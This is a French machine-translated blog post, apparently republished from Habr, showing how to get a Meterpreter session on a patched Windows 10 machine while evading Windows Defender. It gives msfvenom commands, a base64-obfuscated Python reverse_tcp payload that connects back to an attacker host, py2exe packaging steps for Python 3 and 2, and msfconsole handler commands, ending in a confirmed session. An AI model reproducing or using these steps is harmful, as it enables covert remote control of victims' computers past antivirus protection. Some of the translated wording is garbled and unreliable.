Se déplacer dans Windows Defender à moindre coût et joyeusement: session meterpreter via python

image

Bonjour à tous. Aujourd'hui, nous envisageons la possibilité d'exécuter des sessions metrepreter sur une machine Windows 10 avec les derniers correctifs (y compris Windows Defender). Et nous contournerons également les antivirus. Meterpreter est un remplissage multifonctionnel avancé (charge utile, charge), qui peut être étendu dynamiquement au moment de l'exécution. Dans des circonstances normales, cela vous fournit un shell de base et vous permet d'ajouter de nouvelles fonctionnalités selon vos besoins.
Nous le ferons en utilisant Python et verrons comment les outils antivirus se comportent.

Prédisant la question: «Avons-nous besoin de Python sur la machine victime pour exécuter exe?», Je répondrai tout de suite - non, pas nécessaire, tout est déjà à l'intérieur.

Dans cet article, nous utiliserons:

  • Windows 10 avec Windows Defender activé avec des bases de données mises à jour (ordinateur victime 192.168.1.113);
  • Kali linux pour utiliser metasploit et msfvenom (192.168.1.126);
  • Windows 10 pour assembler le binaire (dans notre laboratoire, il correspond à l'ordinateur de la victime) avec ceux installés;
  • Python (3, mais aussi pour 2 on verra);
  • py2exe .

Pour commencer, nous décrivons le problème: créez un fichier exe avec une charge standard, copiez-le sur la machine de la victime et voyez à quoi cela mènera.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f exe > hunt.exe 

Nous recevons un avertissement de notre vieil ami Windows Defender, que nous aimons tous tellement.

image

Si nous demandons à VirusTotal, il dira ce qui suit:

image

Lançons Python et faisons ce pour quoi nous nous réunissons tous.

Python / meterpreter / reverse_tcp est un framework Metasploit de charge utile multiplateforme unique qui vous permet de contrôler à distance un ordinateur compromis. Pas besoin de penser à la plate-forme à choisir, cela fonctionnera sur n'importe quelle, mais dans ce cas, nous créerons un fichier exécutable pour cela à partir de Windows.

Tout d'abord, installez le package py2exe, qui vous permet de créer un exécutable Windows à partir d'un script Python.

Nous aurons Python 3.4 (tout ce qui précède ne prend pas en charge py2exe).

 py -3.4 –m pip install py2exe 

ou

 pip install py2exe 

Ensuite, créez un code Python brut avec l'extension .py

 msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.126 LPORT=9001 -f raw > hunt.py 

Toujours dans la sortie de msfvenom, nous devons ajouter l'importation getpass, qu'il oublie de faire lui-même. En fin de compte, cela devrait se produire comme ceci:

 import getpass,base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMS4xMjYnLDkwMDEpKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKGQseydzJzpzfSkK'))) 

Nous sommes maintenant prêts à créer un binaire.

 python34 -m py2exe.build_exe hunt.py --bundle-files 0 

Vous devriez obtenir ce qui suit:

image

Regardons à nouveau VirusTotal:

image

Déjà mieux, maintenant vérifions-le en action - après avoir copié sur la machine de la victime, nous nous passerons des alertes.

En parallèle, exécutez notre msf et notre gestionnaire pour python en exécutant les commandes suivantes dans l'ordre:

 msfconsole use exploit/multi/handler set PAYLOAD python/meterpreter/reverse_tcp set lhost 192.168.1.126 set lport 9001 run 

image

Allons de l'avant et vérifions que la session fonctionne correctement.

image

Ainsi, la session est lancée et Windows Defender n'a pas fonctionné, c'est ce que nous visions.

Dans le même temps, regardons ce qu'il faut faire si vous avez la version Python 2nd.

  1. Télécharger py2exe pour python 2
  2. Générer une charge utile avec l'extension .py
  3. Nous créons le fichier setup.py et y écrivons ce qui suit:

     from distutils.core import setup import py2exe setup( name = 'Meter', description = 'Python-based App', version = '1.0', console=['hunt.py'], options = {'py2exe': {'bundle_files': 1,'packages':'ctypes','includes': 'base64,sys,socket,struct,time,code,platform,getpass,shutil',}}, zipfile = None, ) 
  4.  python.exe .\setup.py py2exe 


Tout devrait être le même.

En conséquence, je note que le shell de python meterpreter est inférieur en fonctionnalité au compteur de fenêtres plus familier. Par exemple, vous ne pourrez pas migrer vers le processus ou utiliser des commandes comme getsystem, mais c'est toujours une vraie alternative: faire fonctionner une session avec msf (au moins routage et portfwd) et continuer à travailler à l'intérieur du réseau.

Source: https://habr.com/ru/post/fr459168/


All Articles